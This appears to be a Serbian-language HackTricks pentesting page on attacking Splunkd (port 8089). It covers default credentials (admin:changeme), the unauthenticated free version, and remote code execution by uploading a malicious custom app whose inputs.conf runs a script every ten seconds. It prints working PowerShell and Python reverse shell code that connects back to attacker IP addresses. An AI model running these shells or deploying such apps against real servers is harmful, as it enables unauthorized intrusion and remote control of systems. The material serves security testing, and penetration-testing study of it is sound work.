8089 - Pentesting Splunkd

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne Informacije

  • Alat za analizu logova koji se koristi za prikupljanje podataka, analizu i vizualizaciju
  • Često se koristi u bezbednosnom nadzoru i poslovnoj analitici
  • Podrazumevani portovi:
  • Web server: 8000
  • Splunkd servis: 8089

Vektori Ranljivosti:

  1. Iskorišćavanje Besplatne Verzije
  • Probna verzija se automatski pretvara u besplatnu verziju nakon 60 dana
  • Besplatna verzija nema autentifikaciju
  • Potencijalni bezbednosni rizik ako se ne upravlja
  • Administratori mogu zanemariti bezbednosne implikacije
  1. Slabosti Akreditiva
  • Starije verzije: Podrazumevani akreditivi admin:changeme
  • Novije verzije: Akreditivi postavljeni tokom instalacije
  • Potencijal za korišćenje slabih lozinki (npr., admin, Welcome, Password123)
  1. Mogućnosti Daljinskog Izvršavanja Koda
  • Više metoda izvršavanja koda:
  • Server-side Django aplikacije
  • REST endpointi
  • Skriptovani ulazi
  • Skripte za upozorenje
  • Podrška za više platformi (Windows/Linux)
  • Skriptovani ulazi mogu da se izvršavaju:
  • Bash skripte
  • PowerShell skripte
  • Batch skripte

Ključni Potencijal Iskorišćavanja:

  • Skladištenje osetljivih podataka
  • Nedostatak autentifikacije u besplatnoj verziji
  • Više vektora za potencijalno daljinsko izvršavanje koda
  • Mogućnost korišćenja skriptovanih ulaza za kompromitaciju sistema

Shodan

  • Splunk build

RCE

Kreirajte Prilagođenu Aplikaciju

Splunk nudi sofisticiranu metodu za daljinsko izvršavanje koda kroz implementaciju prilagođene aplikacije, koristeći svoje mogućnosti skriptovanja na više platformi. Osnovna tehnika iskorišćavanja se vrti oko kreiranja zlonamerne aplikacije koja može izvršavati reverzne shell-ove na Windows i Linux sistemima.

Prilagođena aplikacija može da izvršava Python, Batch, Bash ili PowerShell skripte. Štaviše, Splunk dolazi sa instaliranim Python-om, tako da čak i na Windows sistemima možete izvršavati python kod.

Možete koristiti ovaj primer sa bin koji sadrži primer za Python i PowerShell. Ili možete kreirati svoj.

Proces iskorišćavanja prati doslednu metodologiju na svim platformama:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

Kritična konfiguraciona datoteka inputs.conf omogućava skriptu na sledeći način:

  • Postavljanjem disabled = 0
  • Konfigurišući interval izvršenja od 10 sekundi
  • Definišući tip izvora skripte

Implementacija je jednostavna:

  1. Kreirajte paket zlonamerne aplikacije
  2. Postavite slušalac (Netcat/socat) na napadačkom računaru
  3. Otpremite aplikaciju putem Splunk-ovog interfejsa
  4. Pokrenite automatsko izvršavanje skripte prilikom otpremanja

Primer Windows PowerShell reverz shell-a:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Primer Linux Python reverz shell-a:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

Na sledećoj stranici možete pronaći objašnjenje kako se ova usluga može zloupotrebiti za eskalaciju privilegija i dobijanje postojanosti:

Splunk LPE and Persistence

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks